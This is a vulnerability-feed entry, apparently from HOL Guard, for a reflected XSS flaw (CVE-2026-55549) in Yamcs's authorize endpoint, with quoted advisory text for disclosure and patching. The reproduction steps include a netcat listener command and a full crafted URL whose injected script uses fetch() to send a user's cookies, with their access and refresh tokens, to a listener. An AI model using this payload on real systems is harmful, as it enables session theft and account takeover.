Answer in brief
CVE-2026-55549 records a Medium severity (CVSS 6.5) vulnerability in Yamcs has Reflected XSS in the URL of the Authorize Endpoint. The current sources do not mark it as known exploited. The current feed maps org.yamcs:yamcs-core (maven). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 6.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps org.yamcs:yamcs-core (maven). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| org.yamcs:yamcs-coremaven | <5.9.4 | 5.9.4 |
Published upstream
Aug 28, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Aug 28, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Aug 28, 2026
### Attack type: Unauthenticated remote ### Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token. ### Affected components: authorize.html, AuthHandler.java, HandlerContext.java A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account. Using a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser: <img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" /> You then use JavaScript to obtain the user's cookies and display them in the alert: <img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" /> Finally, use the `fetch` function to send the user's cookies to a remote server which we controlled: <img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" /> Now you can set these cookies in our own browser and login to Yamcs as the user. ## Steps to Reproduce 1. Start Yamcs 2. Login as a user 3. In a terminal, start a netcat listener: ``` nc -nlvp 8888 ``` 4. Paste the following URL payload in the browser ``` http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou ``` 5. You will receive a connection on your netcat listener containing the user's access token and refresh token. ## Acknowledgements This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
Quoted source text, attributed separately from HOL analysis.